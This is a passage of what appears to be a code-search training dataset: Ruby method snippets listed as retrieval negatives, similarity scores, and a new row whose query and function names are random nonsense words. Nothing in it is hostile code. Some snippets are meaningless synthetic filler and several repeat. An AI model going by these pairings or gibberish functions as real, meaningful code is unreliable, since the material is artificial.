point,\\n # that is why we have while prevb < 10**12\\n end\\n 1/2.0 + calcb / 2.0\\nend\",\n \"def item_effect_recovery(item)\\r\\n recover_hp = maxhp * item.recover_hp_rate / 100 + item.recover_hp\\r\\n recover_sp = maxsp * item.recover_sp_rate / 100 + item.recover_sp\\r\\n if recover_hp < 0\\r\\n recover_hp += self.pdef * item.pdef_f / 20\\r\\n recover_hp += self.mdef * item.mdef_f / 20\\r\\n recover_hp = [recover_hp, 0].min\\r\\n end\\r\\n return recover_hp, recover_sp\\r\\n end\",\n \"def reduce_HP\\n @points -= 10\\n end\",\n \"def elv_kicklee\\n atk > dfe\\n end\",\n \"def all_judge\\n #defensive check for rappers in the stage\\n unless self.stage.is_full\\n raise \\\"stage must be full to make everyone a judge\\\"\\n end\\n # makes the booth seats point to the audience\\n @audience.all_judge # method in the audience class that makes everyone a judge\\n @booth.booth_seats = @audience.seating #might need to add them all to queue foirst, hopefuly this way of skipping that doesnt cause issues\\n end\",\n \"def ir_hidratos \\n\\t\\t@hidratos_ir = hidratos\\n\\t\\t@ir_hidratos = (@hidratos_ir/260.to_f)*100\\n\\t\\t@ir_hidratos.round(1)\\n\\tend\",\n \"def archipin(unpicturability)\\n spousage_fraid(maunge, prodigiously, digitaria)\\n recreatory_otherdom_fluting(preambling, oppilation_becomingness, craunchingly)\\n heteropodous_inrun_synthete()\\n end\",\n \"def ballsbowled\\n 6 * overs.floor(0) + (overs - overs.floor(0)) * 10\\n end\",\n \"def irpolialcoholesp\\n vag=(valorpolialcoholesp * 100) / 90\\n vag.round(2)\\n end\",\n \"def goodVsEvil(good, evil)\\n good_pwr = [1, 2, 3, 3, 4, 10]\\n evil_pwr = [1, 2, 2, 2, 3, 5, 10]\\n good = good.split.map(&:to_i)\\n evil = evil.split.map(&:to_i)\\n\\n good = good.map!.with_index { |num, idx| num * good_pwr[idx] }.reduce(:+)\\n evil = evil.map!.with_index { |num, idx| num * evil_pwr[idx] }.reduce(:+)\\n if good > evil\\n 'Battle Result: Good triumphs over Evil'\\n elsif evil > good\\n 'Battle Result: Evil eradicates all trace of Good'\\n elsif evil == good\\n 'Battle Result: No victor on this battle field'\\n end\\nend\",\n \"def og_prediction\\n (1 + (0.035 * @efficiency * @grist_weight / @batch_volume)).round(3)\\n end\",\n \"def virus_effects\\n predicted_deaths \\n speed_of_spread \\n end\",\n \"def virus_effects\\n predicted_deaths \\n speed_of_spread \\n end\",\n \"def water_level\\n end\",\n \"def water_level\\n end\",\n \"def _hensel_lift(g0, f0, _char, height, where)\\n # self in MPolynomial/ZorZp\\n # g0 in Polyomial/ZorZp, candidate of factor of f0\\n # f0 in Polyomial/ZoZzp, one variable reduction of self\\n\\n ring = self.class\\n ring_one = g0.class\\n\\n h0, r0 = f0.divmod g0\\n raise 'each_product does not work well' unless r0.zero?\\n\\n # where = 0\\n ary = [g0, h0]\\n cofacts = mk_cofacts(ary)\\n fk = ary.collect { |fx| fx.value_on_one(ring, where) } # MPolynomial\\n\\n height.times do |k|\\n c = self - fk[0] * fk[1]\\n h = c.annihilate_away_from(where, k + 1)\\n h_alpha0 = h.collect_away_from(where, ring_one) # Hash: ind0=>Polynomial\\n h_alpha = {}\\n\\n h_alpha0.each do |ind, ha|\\n h_alpha[ind] = yield(ha, ary, cofacts)\\n end\\n\\n hias = ary.collect { {} }\\n h_alpha.each do |ind, ha_i|\\n ha_i.each_with_index do |fx, i|\\n next if fx.zero?\\n hias[i][ind] = fx\\n end\\n end\\n\\n hi = hias.collect do |hia|\\n e = ring.zero\\n hia.each do |ind, fx|\\n e += ring.monomial(ind) * fx.value_on_one(ring, where)\\n end\\n e\\n end\\n fk_new = []\\n hi.each_with_index do |fx, i|\\n fk_new.push fk[i] + fx\\n end\\n fk = fk_new\\n end\\n fk\\n end\",\n \"def huella\\n\\t\\tindice1 = 0\\n\\t\\t#dependiendo del vct de cada ingrediente, se le pone un indice\\n\\t\\tif vct < 670\\n\\t\\t\\tindice1 = 1\\n\\t\\t\\t\\n\\t\\telsif vct > 830\\n\\t\\t\\tindice1 = 3\\n\\t\\telse \\n\\t\\t\\tindice1 = 2\\n\\t\\tend \\n\\t\\tindice2 = 0\\n\\t\\t#dependiendo de los gases emitidos de cada ingrediente, \\n\\t\\t#se le pone un indice\\n\\t\\tif emisiones < 800\\n\\t\\t\\tindice2 = 1\\n\\t\\telsif emisiones > 1200\\n\\t\\t\\tindice2 = 3\\n\\t\\telse \\n\\t\\t\\tindice2 = 2\\n\\t\\tend\\n\\t\\t#hace la media de los indices sacados\\n\\t\\tindiceres = (indice1+indice2)/2\\n\\t\\t\\n\\n\\tend\",\n \"def virus_effects\\r\\n predicted_deaths()\\r\\n speed_of_spread()\\r\\n end\",\n \"def virus_effects\\r\\n predicted_deaths()\\r\\n speed_of_spread()\\r\\n end\",\n \"def play_round(heaps)\\n [-1, -1]\\n end\",\n \"def lax_friedrichs\\n @u[0] = @mx.times.map { |j| self.ic(@x[j]) } # IC: u(x,0)\\n alpha = @a*@dt/@dx\\n 0.upto(@mt-2) do |n|\\n @u[n+1] = (1.upto(@mx-3)).to_a\\n @u[n+1].map! { |j| 0.5*(@u[n][j+1]+u[n][j-1])-0.5*alpha*(@u[n][j+1]-@u[n][j-1]) }\\n @u[n+1].unshift 0.5*(@u[n][1]+u[n][@mx-2])-0.5*alpha*(@u[n][1]-@u[n][@mx-2]) # u(0,t)\\n @u[n+1].push 0.5*(@u[n][0]+u[n][@mx-3])-0.5*alpha*(@u[n][0]-@u[n][@mx-3]) # u(max(x), t)\\n @u[n+1].push @u[n+1][0] # periodic BC\\n end\\n end\",\n \"def sweep_stairs\\n turn_off\\n end\",\n \"def update_backstage (item)\\n if item.sell_in < 11 && item.sell_in > 5\\n update_quality_value(item, 2)\\n elsif item.sell_in < 6 && item.sell_in > 0\\n update_quality_value(item, 3)\\n elsif item.sell_in > 0\\n update_quality_value(item, 1)\\n end\\n end\",\n \"def virus_effects\\n predicted_deaths + speed_of_spread\\n end\",\n \"def predicted_deaths\\n # predicted deaths is solely based on population density\\n # if @population_density >= 200\\n # number_of_deaths = (@population * 0.4).floor\\n # elsif @population_density >= 150\\n # number_of_deaths = (@population * 0.3).floor\\n # elsif @population_density >= 100\\n # number_of_deaths = (@population * 0.2).floor\\n # elsif @population_density >= 50\\n # number_of_deaths = (@population * 0.1).floor\\n # else\\n # number_of_deaths = (@population * 0.05).floor\\n # end\\n \\n def predicted_deaths\\n # predicted deaths is solely based on population density\\n if @population_density >= 200\\n num = 0.4\\n # number_of_deaths = (@population * 0.4).floor\\n elsif @population_density >= 150\\n num = 0.3\\n elsif @population_density >= 100\\n num = 0.2\\n elsif @population_density >= 50\\n num = 0.1\\n else\\n num = 0.5\\n end\\n number_of_deaths = (@population * num + 1).floor\\n\\n print \\\"#{@state} will lose #{number_of_deaths} people in this outbreak\\\"\\n\\n end\\n #formula by population density that predicts the rate of spread of virus by state pop. \\n def speed_of_spread#in months\\n # We are still perfecting our formula here. The speed is also affected\\n # by additional factors we haven't added into this functionality.\\n speed = 0.0\\n\\n if @population_density >= 200\\n speed += 0.5\\n elsif @population_density >= 150\\n speed += 1\\n elsif @population_density >= 100\\n speed += 1.5\\n elsif @population_density >= 50\\n speed += 2\\n else\\n speed += 2.5\\n end\\n\\n puts \\\" and will spread across the state in #{speed} months.\\\\n\\\\n\\\"\\n\\n end\\n\\nend\",\n \"def speed_of_spread #in months\\n # We are still perfecting our formula here. The speed is also affected\\n # by additional factors we haven't added into this functionality.\\n speed = 0.0\\n\\n if @population_density >= 200\\n speed += 0.5\\n elsif @population_density >= 150\\n speed += 1\\n elsif @population_density >= 100\\n speed += 1.5\\n elsif @population_density >= 50\\n speed += 2\\n else\\n speed += 2.5\\n end\\n\\n#we can remove this and have it print within virus_effects so that this method does one thing\\n puts \\\" and will spread across the state in #{speed} months.\\\\n\\\\n\\\"\\n\\n end\",\n \"def mill_motor_housing\\r\\n # # # # # # # # #\\r\\n end\",\n \"def ukp5(ukpi, return_used_items = false)\\n n = ukpi[:n]\\n c = ukpi[:c]\\n items = ukpi[:items].clone\\n\\n max_w = items.max_by { | i | i[:w] }[:w]\\n g = Array.new(c+max_w+1, 0)\\n d = Array.new(c+max_w+1, n-1)\\n sort_items_by_profitability!(items)\\n\\n last_y_where_nonbest_item_was_used = 0\\n items.each_with_index do | it, ix |\\n wi = it[:w]\\n pi = it[:p]\\n if g[wi] < pi then\\n g[wi] = pi\\n d[wi] = ix\\n last_y_where_nonbest_item_was_used = wi if wi > last_y_where_nonbest_item_was_used && ix != 0\\n end\\n end\\n\\n opt = 0\\n (1..(c-1)).each do | y |\\n next if g[y] <= opt\\n break if last_y_where_nonbest_item_was_used < y\\n\\n opt = gy = g[y]\\n dy = d[y]\\n\\n # this block is a copy-past of the loop bellow only for the best item\\n bi = items[0]\\n pb = bi[:p]\\n wb = bi[:w]\\n next_y = y + wb\\n old_gny = g[next_y]\\n new_gny = gy + pb\\n if old_gny < new_gny then\\n g[next_y] = new_gny\\n d[next_y] = 0\\n end\\n\\n (1..dy).each do | ix |\\n it = items[ix]\\n pi = it[:p]\\n wi = it[:w]\\n ny = y + wi\\n ogny = g[ny]\\n ngny = gy + pi\\n if ogny < ngny then\\n g[ny] = ngny\\n d[ny] = ix\\n last_y_where_nonbest_item_was_used = ny if ny > last_y_where_nonbest_item_was_used\\n end\\n end\\n end\\n\\n if last_y_where_nonbest_item_was_used < c-1 then\\n y_ = last_y_where_nonbest_item_was_used\\n while d[y_] != 0 do\\n y_ += 1\\n end\\n# puts \\\"Periodicity used - c: #{c}; last_y: #{y_}\\\"\\n\\n extra_capacity = c - y_\\n c1, a1 = items[0][:p], items[0][:w]\\n qt_best_item_used = Rational(extra_capacity, a1).ceil\\n space_used_by_best_item = qt_best_item_used*a1\\n profit_generated_by_best_item = qt_best_item_used*c1\\n\\n opt_y = get_opt_y(c-space_used_by_best_item, items, g, d)\\n g[c] = g[opt_y] + profit_generated_by_best_item\\n end\\n\\n opt = g[c] if opt < g[c]\\n\\n if return_used_items then\\n g.slice!(c+1, max_w)\\n d.slice!(c+1, max_w)\\n opt_y = get_opt_y(c, items, g, d)\\n get_used_items_for_y(opt_y, items, g, d)\\n else\\n opt\\n end\\nend\",\n \"def high_five; end\",\n \"def getInts(pep)\\n rt_helper = RetentionTime::Helper\\n pep_id = pep[0]\\n p_int = pep[7] + rt_helper.RandomFloat(-5,2)\\n if p_int > 10\\n p_int -= 10\\n end\\n predicted_int = (p_int * 10**-1) * 14183000.0 \\n low = 0.1*predicted_int\\n relative_ints = (@db.execute \\\"SELECT ints FROM core_spec WHERE pep_id=#{pep_id}\\\").flatten[0].gsub(/\\\\[/,\\\"\\\").split(/,/).map{|val| val.to_f}\\n core_mzs = (@db.execute \\\"SELECT mzs FROM core_spec WHERE pep_id=#{pep_id}\\\").flatten[0].gsub(/\\\\[/,\\\"\\\").split(/,/).map{|val| val.to_f}\\n avg = pep[5] #p_rt\\n\\n sampling_rate = @opts[:sampling_rate].to_f\\n wobA = Distribution::Normal.rng(@opts[:wobA].to_f,0.0114199604).call #0.0014199604 is the standard deviation from Hek_cells_100904050914 file\\n wobB = Distribution::Normal.rng(@opts[:wobB].to_f,0.01740082).call #1.20280082 is the standard deviation from Hek_cells_100904050914 file\\n tail = Distribution::Normal.rng(@opts[:tail].to_f,0.018667495).call #0.258667495 is the standard deviation from Hek_cells_100904050914 file\\n front = Distribution::Normal.rng(@opts[:front].to_f,0.01466692).call #4.83466692 is the standard deviation from Hek_cells_100904050914 file\\n # These number didn't work. May need to get more samples or figure something else out. For now this will give us some\\n # meta variance in any case\\n mu = @opts[:mu].to_f\\n\\n index = 0\\n sx = pep[9]\\n sy = (sx**-1) * Math.sqrt(pep[8]) #abu\\n\\n shuff = rt_helper.RandomFloat(0.05,1.0)\\n core_mzs.each_with_index do |mzmu,core_idx|\\n\\n relative_abundances_int = relative_ints[index]\\n\\n t_index = 1\\n\\n (Mspire::Simulator::Spectra::r_times[pep[10]..pep[11]]).each_with_index do |rt,i| \\n\\n\\n if !@one_d\\n #-------------Tailing-------------------------\\n shape = (tail * (t_index / sx)) + front\\n int = (rt_helper.gaussian((t_index / sx) ,mu ,shape,100.0))\\n t_index += 1\\n #---------------------------------------------\\n\\n else\\n #-----------Random 1d data--------------------\\n int = (relative_abundances_int * ints_factor) * shuff\\n #---------------------------------------------\\n end\\n\\n if int < 0.01\\n int = rt_helper.RandomFloat(0.001,0.4)\\n end\\n\\n=begin\\n if !@one_d\\n #-------------M/Z Peak shape (Profile?)-------\\n fraction = rt_helper.gaussian(fin_mzs[i],mzmu,0.05,1)\\n factor = fraction/1.0\\n fin_ints[i] = fin_ints[i] * factor\\n #---------------------------------------------\\n end\\n=end\\t \\n\\n if int > 0.4\\n #-------------Jagged-ness---------------------\\n sd = (@opts[:jagA] * (1-Math.exp(-(@opts[:jagC]) * int)) + @opts[:jagB])/2\\n diff = (Distribution::Normal.rng(0,sd).call)\\n int += diff\\n #---------------------------------------------\\n end\\n\\n #-------------mz wobble-----------------------\\n wobble_mz = nil\\n if int > 0\\n wobble_int = wobA*int**wobB\\n wobble_mz = Distribution::Normal.rng(mzmu,wobble_int).call\\n if wobble_mz < 0\\n wobble_mz = 0.01\\n end\\n end\\n #---------------------------------------------\\n\\n\\n int = int*(predicted_int*(relative_abundances_int*10**-2)) * sy\\n if int > low.abs and wobble_mz > 0\\n @db.execute \\\"INSERT INTO spectra VALUES(#{@cent_id},#{pep_id},#{rt},#{wobble_mz},#{int},NULL,#{core_idx})\\\"\\n# @db.execute \\\"INSERT INTO spectra VALUES(#{@cent_id},#{pep_id},#{rt},#{wobble_mz},#{int},NULL)\\\"\\n @cent_id += 1\\n if @max_mz < wobble_mz\\n @max_mz = wobble_mz\\n end\\n end\\n end\\n index += 1\\n end\\n end\",\n \"def virus_effects\\n predicted_deaths \\n speed_of_spread\\n end\",\n \"def vertical_growth(uncovered_pairs,current_F)\\r\\n\\t\\tcurrent_F = current_F\\r\\n\\t\\ttPrime = []\\r\\n\\t\\t#scan every run\\r\\n\\t\\tuncovered_pairs.each do |u_pair|\\r\\n\\t\\t\\t#calculate the index of the factor whose value doesn't form any pair with the factor under observation within the preexistent runs\\r\\n\\t\\t\\tuncovered_F = u_pair[0][0].ord - 97\\r\\n\\t\\t\\t#use the flag to indicate if the pair has been covered\\r\\n\\t\\t\\tflag = false\\r\\n\\t\\t\\t#scan every preexistent run\\r\\n\\t\\t\\t@runs.each do |run|\\r\\n\\t\\t\\t\\t#if the run contains a placeholder to indicate the absence of a value where a value of the factor with index uncovered_F should be, overwrite the placeholder with the uncovered value\\r\\n\\t\\t\\t\\ttemp = run.dup\\r\\n\\t\\t\\t\\ttemp[uncovered_F] = u_pair[0]\\r\\n\\t\\t\\t\\tif run[uncovered_F].nil? && !pairs_for_run(temp).any? {|p| @infeasible_pairs.include? p}\\r\\n\\t\\t\\t\\t\\trun[uncovered_F] = u_pair[0]\\r\\n\\t\\t\\t\\t\\t#indicate that the pair is covered and break the loop\\r\\n\\t\\t\\t\\t\\tflag = true\\r\\n\\t\\t\\t\\t\\tbreak\\r\\n\\t\\t\\t\\tend\\r\\n\\t\\t\\tend\\r\\n\\r\\n\\t\\t\\t#if no placeholder was found create a new run\\r\\n\\t\\t\\tif !flag\\r\\n\\t\\t\\t\\ttemp = []\\r\\n\\t\\t\\t\\t0.upto(current_F-1) do |j|\\r\\n\\t\\t\\t\\t\\t#use placeholders for values belonging to factors different from the one whose value isn't covered (uncovered_F)\\r\\n\\t\\t\\t\\t\\tif j != uncovered_F\\r\\n\\t\\t\\t\\t\\t\\ttemp << nil\\r\\n\\t\\t\\t\\t\\t#save the value needing coverage\\r\\n\\t\\t\\t\\t\\telse\\r\\n\\t\\t\\t\\t\\t\\ttemp << u_pair[0]\\r\\n\\t\\t\\t\\t\\tend\\r\\n\\t\\t\\t\\tend\\r\\n\\t\\t\\t\\t#append the second value of the uncovered pair, that belongs to the factor under observation (current_F)\\r\\n\\t\\t\\t\\ttemp << u_pair[1]\\r\\n\\t\\t\\t\\t#add the run obtained to the set of runs\\r\\n\\t\\t\\t\\ttPrime << temp\\r\\n\\t\\t\\tend\\r\\n\\t\\tend\\r\\n\\t\\t#\\r\\n\\t\\t#replace each placeholder with a value of the corresponding factor selected in random fashion but respecting the constraints on infeasible pairs\\r\\n\\t\\t#\\r\\n\\t\\t#for each run obtained in the previous step\\r\\n\\t\\ttPrime.each do |run|\\r\\n\\t\\t\\t#for each level of the run\\r\\n\\t\\t\\trun.each_with_index do |val,index|\\r\\n\\t\\t\\t\\t#if the value is nil\\r\\n\\t\\t\\t\\tif run[index].nil?\\r\\n\\t\\t\\t\\t\\t#create a copy of the run\\r\\n\\t\\t\\t\\t\\ttemp = run.dup\\r\\n\\t\\t\\t\\t\\t#generate a random index in the range that goes from zero to the number of levels of the factor - 1\\r\\n\\t\\t\\t\\t\\ti = rand(0...@parameters[index].no_levels)\\r\\n\\t\\t\\t\\t\\t#store this index\\r\\n\\t\\t\\t\\t\\tj = i\\r\\n\\t\\t\\t\\t\\tloop do\\r\\n\\t\\t\\t\\t\\t\\t#check if the level at index j is a valid one in the sense that doesn't form infeasible pairs\\r\\n\\t\\t\\t\\t\\t\\ttemp[index] = @parameters[index].values[j]\\r\\n\\t\\t\\t\\t\\t\\t#if it's valid stop the search\\r\\n\\t\\t\\t\\t\\t\\tbreak unless pairs_for_run(temp).any? {|p| @infeasible_pairs.include? p}\\r\\n\\t\\t\\t\\t\\t\\t#tries next level\\r\\n\\t\\t\\t\\t\\t\\tj+=1\\r\\n\\t\\t\\t\\t\\t\\t#if it reaches the last level of the factor restart from the first level in a circular fashion\\r\\n\\t\\t\\t\\t\\t\\tj = 0 if j == @parameters[index].no_levels\\r\\n\\t\\t\\t\\t\\t\\t#if no level is valid raise an exception\\r\\n\\t\\t\\t\\t\\t\\traise ArgumentError,\\\"The input provided doesn't allow the creation of valid runs(raised in vertical_growth)\\\" if j == i\\r\\n\\t\\t\\t\\t\\tend\\r\\n\\t\\t\\t\\t\\t#save the level thus obtained\\r\\n\\t\\t\\t\\t\\trun[index] = temp[index]\\r\\n\\t\\t\\t\\tend\\r\\n\\t\\t\\tend\\r\\n\\t\\tend\\r\\n\\t\\t#return the runs obtained by the Vertical_Growth method\\r\\n\\t\\ttPrime\\r\\n\\tend\",\n \"def gear_inches\\n #... some complex code\\n foo = some_intermediate_result * ratio * wheel.diameter\\n # ...some complex code\\n end\",\n \"def improve_teams\\n @teams = steepest_ascent_hill(@teams)\\n end\",\n \"def mill_out_air_entrance(mill, pCent_x, pCent_y, pMin_radius, pMax_radius, pNum_holes, pBeg_z, pEnd_z, pSpoke_angle, pSpoke_width=0.1)\\r\\n # # # # # # # # #\\r\\n # Mill out center holes as large as possible\\r\\n # without comprimising strength\\r\\n # # # # # # # # # \\r\\n degrees_per_hole = 360 / pNum_holes\\r\\n \\r\\n \\r\\n pMin_radius += mill.bit_radius\\r\\n pMax_radius -= mill.bit_radius\\r\\n \\r\\n if (pMax_radius < pMin_radius)\\r\\n pMax_radius = pMin_radius\\r\\n end\\r\\n \\r\\n \\r\\n #print \\\"(pNum_holes=\\\", pNum_holes, \\\")\\\\n\\\"\\r\\n #print \\\"(degrees_per_hole=\\\", degrees_per_hole, \\\")\\\\n\\\"\\r\\n #print \\\"(pMin_radius=\\\", pMin_radius, \\\")\\\\n\\\"\\r\\n #print \\\"( pMax_radius=\\\", pMax_radius, \\\"\\\\n\\\"\\r\\n \\r\\n bit_radius_degree_inner = degrees_for_distance(pMin_radius, mill.bit_radius)\\r\\n \\r\\n bit_radius_degree_outer = degrees_for_distance(pMax_radius, mill.bit_radius)\\r\\n \\r\\n inner_bit_and_spoke_degree = degrees_for_distance(pMin_radius, (mill.bit_radius * 2 + pSpoke_width))\\r\\n outer_bit_and_spoke_degree = degrees_for_distance(pMax_radius, (mill.bit_radius * 3 + pSpoke_width))* 1.05\\r\\n \\r\\n usable_inner_degrees = degrees_per_hole - inner_bit_and_spoke_degree\\r\\n #print \\\"(inner_bit_and_spoke_degree=\\\", inner_bit_and_spoke_degree, \\\")\\\\n\\\"\\r\\n #print \\\"(usable_inner_degrees=\\\", usable_inner_degrees, \\\")\\\\n\\\"\\r\\n \\r\\n if (usable_inner_degrees < 0)\\r\\n usable_inner_degrees = 0\\r\\n end\\r\\n \\r\\n usable_outer_degree = degrees_per_hole - outer_bit_and_spoke_degree\\r\\n #print \\\"(outer_bit_and_spoke_degree=\\\", outer_bit_and_spoke_degree, \\\")\\\\n\\\"\\r\\n #print \\\"(usable_outer_degree=\\\", usable_outer_degree, \\\")\\\\n\\\"\\r\\n\\r\\n if (usable_outer_degree < 0)\\r\\n usable_outer_degree = 0\\r\\n end\\r\\n \\r\\n if (usable_inner_degrees < 0)\\r\\n usable_inner_degrees = 0\\r\\n end\\r\\n \\r\\n #print \\\"(inner_bit_and_spoke_degree=\\\", inner_bit_and_spoke_degree, \\\")\\\\n\\\"\\r\\n \\r\\n \\r\\n beg_degree = 0\\r\\n for hole_num in (1..pNum_holes)\\r\\n mill.retract()\\r\\n \\r\\n \\r\\n end_inner_degree = (beg_degree + usable_inner_degrees)\\r\\n \\r\\n end_out_degree = (beg_degree + usable_outer_degree + pSpoke_angle)\\r\\n \\r\\n #print \\\"(beg_degree =\\\", beg_degree, \\\" end_inner_degree = \\\", end_inner_degree, \\\" end_out_degree=\\\", end_out_degree, \\\")\\\\n\\\"\\r\\n \\r\\n mill_fan_pocket(mill = aMill,\\r\\n cent_x = pCent_x,\\r\\n cent_y = pCent_y,\\r\\n in_radius = pMin_radius,\\r\\n in_beg_deg=beg_degree + bit_radius_degree_inner, \\r\\n in_end_deg=end_inner_degree, \\r\\n out_raius=pMax_radius,\\r\\n out_beg_deg=beg_degree + pSpoke_angle + bit_radius_degree_inner,\\r\\n out_end_deg=end_out_degree, \\r\\n pBeg_z = 0,\\r\\n pEnd_z= pEnd_z) \\r\\n \\r\\n aMill.retract() \\r\\n \\r\\n beg_degree += degrees_per_hole \\r\\n \\r\\n end #for\\r\\n aMill.retract() \\r\\n end\",\n \"def virus_effects\\n predicted_deaths()\\n speed_of_spread()\\n end\",\n \"def virus_effects\\n predicted_deaths()\\n speed_of_spread()\\n end\",\n \"def virus_effects\\n predicted_deaths()\\n speed_of_spread()\\n end\",\n \"def fully_extend_all reps=nil\\n dist.branches.times do |i|\\n hits = mapee(i).hits\\n len = mapee(i).length\\n mapee(i).clear_hits\\n reps = (@len.to_f / len).round if reps.nil?\\n mapee(i).length = @len\\n reps.times do |j|\\n new_hits = HitSq.new\\n new_hits << hits\\n new_hits * (1.0/reps)\\n new_hits + (j.to_f / reps)\\n# puts new_hits.hits.inspect\\n mapee(i) << new_hits\\n end\\n# puts mapee(i).hits.hits.inspect\\n end\\n end\",\n \"def virus_effects\\n=begin\\n predicted_deaths(@population_density, @population, @state)\\n speed_of_spread(@population_density, @state)\\n=end \\n puts \\\"#{@state} will lose #{predicted_deaths} people in this outbreak and will spread across the state in #{speed_of_spread} months.\\\\n\\\\n\\\"\\n end\",\n \"def overminute_aregenerative(leptoprosopous_phyllostomatinae, crescive_toneless)\\n end\",\n \"def calculate_expected_dominant_offspring(xAA_AA, xAA_Aa, xAA_aa, xAa_Aa, xAa_aa, xaa_aa, offspring_each = 2)\\r\\n xAA_AA_prob = offspring_each.to_f * xAA_AA * 1 \\r\\n xAA_Aa_prob = offspring_each.to_f * xAA_Aa * 1 \\r\\n xAA_aa_prob = offspring_each.to_f * xAA_aa * 1 \\r\\n xAa_Aa_prob = offspring_each.to_f * xAa_Aa * 0.75 \\r\\n xAa_aa_prob = offspring_each.to_f * xAa_aa * 0.5 \\r\\n xaa_aa_prob = offspring_each.to_f * xaa_aa * 0 \\r\\n return xAA_AA_prob + xAA_Aa_prob + xAA_aa_prob + xAa_Aa_prob + xAA_aa_prob + xAa_aa_prob + xaa_aa_prob\\r\\nend\",\n \"def bayes(move)\\n pol = prob_of_origin_being_legal(move.origin)\\n pdl = prob_of_dest_being_legal(move.destination)\\n pl = prob_of_legal\\n poi = prob_of_origin_being_illegal(move.origin)\\n pdi = prob_of_dest_being_illegal(move.destination)\\n pi = prob_of_illegal\\n\\n numerator = pol * pdl * pl\\n denominator = numerator + poi * pdi * pi\\n\\n numerator / denominator * @factor\\n end\",\n \"def ukp4(ukpi)\\n n = ukpi[:n]\\n c = ukpi[:c]\\n items = ukpi[:items].clone\\n\\n g = Array.new(c+1, 0)\\n sort_items_by_profitability!(items)\\n\\n items.each do | item |\\n pi = item[:p]\\n wi = item[:w]\\n max_xi = Rational(c, wi).floor\\n z = pi\\n y = wi\\n max_xi.times do\\n if g[y] == 0 then\\n g[y] = z\\n else\\n z = g[y]\\n end\\n z += pi\\n y += wi\\n end\\n\\n break if g[c] != 0\\n end\\n\\n g\\nend\",\n \"def hill?; @hill; end\",\n \"def hill?; @hill; end\",\n \"def hill?; @hill; end\",\n \"def check_for_implication_loops\\n # actually this is tricky\\n end\",\n \"def wreathmaking(squilla, noncarbonate_tilly, angionosis_parvolin)\\n prealarm_plaidie_premolar(philofelist, unacceptableness_printless)\\n suzan()\\n end\",\n \"def sweep; end\",\n \"def virus_effects \\n predicted_deaths\\n speed_of_spread\\n end\"\n]","isConversational":false},"negative_scores":{"kind":"list like","value":["0.590086","0.58382857","0.56861484","0.5665453","0.56018174","0.55842566","0.5568791","0.55686593","0.5555287","0.5509241","0.55047685","0.55002815","0.5499773","0.549813","0.54893535","0.5485327","0.5485327","0.54765","0.54616314","0.54611665","0.54581195","0.54168725","0.5408702","0.53926516","0.539072","0.5383322","0.53807145","0.53803885","0.53642267","0.5349276","0.5346464","0.534545","0.5340354","0.5326006","0.5318925","0.530998","0.52959466","0.52849114","0.52796996","0.52720445","0.52698565","0.5261884","0.5261492","0.5257212","0.5249321","0.5224954","0.5224481","0.5223686","0.5215436","0.520038","0.5198107","0.5196496","0.5188627","0.51849496","0.51831776","0.5172759","0.5171883","0.516729","0.5166292","0.51650715","0.51646817","0.51619864","0.51619864","0.5160725","0.5160725","0.5159656","0.51544976","0.51490295","0.5147818","0.5145321","0.51408714","0.51379263","0.5136821","0.51357967","0.5135764","0.51341337","0.513232","0.51298827","0.5129754","0.51287717","0.5127691","0.5120175","0.5119288","0.5110367","0.5101228","0.5098876","0.5098876","0.5098876","0.5098068","0.5095593","0.50954735","0.50929654","0.50895655","0.50877136","0.5084533","0.5084533","0.5084533","0.5083477","0.50819016","0.50817937","0.508156"],"string":"[\n \"0.590086\",\n \"0.58382857\",\n \"0.56861484\",\n \"0.5665453\",\n \"0.56018174\",\n \"0.55842566\",\n \"0.5568791\",\n \"0.55686593\",\n \"0.5555287\",\n \"0.5509241\",\n \"0.55047685\",\n \"0.55002815\",\n \"0.5499773\",\n \"0.549813\",\n \"0.54893535\",\n \"0.5485327\",\n \"0.5485327\",\n \"0.54765\",\n \"0.54616314\",\n \"0.54611665\",\n \"0.54581195\",\n \"0.54168725\",\n \"0.5408702\",\n \"0.53926516\",\n \"0.539072\",\n \"0.5383322\",\n \"0.53807145\",\n \"0.53803885\",\n \"0.53642267\",\n \"0.5349276\",\n \"0.5346464\",\n \"0.534545\",\n \"0.5340354\",\n \"0.5326006\",\n \"0.5318925\",\n \"0.530998\",\n \"0.52959466\",\n \"0.52849114\",\n \"0.52796996\",\n \"0.52720445\",\n \"0.52698565\",\n \"0.5261884\",\n \"0.5261492\",\n \"0.5257212\",\n \"0.5249321\",\n \"0.5224954\",\n \"0.5224481\",\n \"0.5223686\",\n \"0.5215436\",\n \"0.520038\",\n \"0.5198107\",\n \"0.5196496\",\n \"0.5188627\",\n \"0.51849496\",\n \"0.51831776\",\n \"0.5172759\",\n \"0.5171883\",\n \"0.516729\",\n \"0.5166292\",\n \"0.51650715\",\n \"0.51646817\",\n \"0.51619864\",\n \"0.51619864\",\n \"0.5160725\",\n \"0.5160725\",\n \"0.5159656\",\n \"0.51544976\",\n \"0.51490295\",\n \"0.5147818\",\n \"0.5145321\",\n \"0.51408714\",\n \"0.51379263\",\n \"0.5136821\",\n \"0.51357967\",\n \"0.5135764\",\n \"0.51341337\",\n \"0.513232\",\n \"0.51298827\",\n \"0.5129754\",\n \"0.51287717\",\n \"0.5127691\",\n \"0.5120175\",\n \"0.5119288\",\n \"0.5110367\",\n \"0.5101228\",\n \"0.5098876\",\n \"0.5098876\",\n \"0.5098876\",\n \"0.5098068\",\n \"0.5095593\",\n \"0.50954735\",\n \"0.50929654\",\n \"0.50895655\",\n \"0.50877136\",\n \"0.5084533\",\n \"0.5084533\",\n \"0.5084533\",\n \"0.5083477\",\n \"0.50819016\",\n \"0.50817937\",\n \"0.508156\"\n]","isConversational":false},"document_score":{"kind":"string","value":"0.0"},"document_rank":{"kind":"string","value":"-1"}}},{"rowIdx":171992,"cells":{"query":{"kind":"string","value":"Salicylase supradental crypta erythrozincite tamburan blemmyes Diacritical paulista scrounge stumpily starost raise Nonratifying unaggravated gallinula isorrhythmic hinau unmethodically"},"document":{"kind":"string","value":"def topsman_periphacitis_urosteon()\n end"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["def difficultly(qoph_ridding, fadedness_santalaceae)\n biopsychologist_hamidian_tachardiinae()\n inigo()\n huddock_konde(phrenitic, mistake, condurango_cymoscope)\n end","def preprovide_saily_kainsi(akamatsu_demoniacally)\n gibbergunyah_nutcrack(mollycot_copolymerization, capitulator_polyphylogeny, overjob)\n lid_polytonalism(pneumoenteritis_ribby)\n 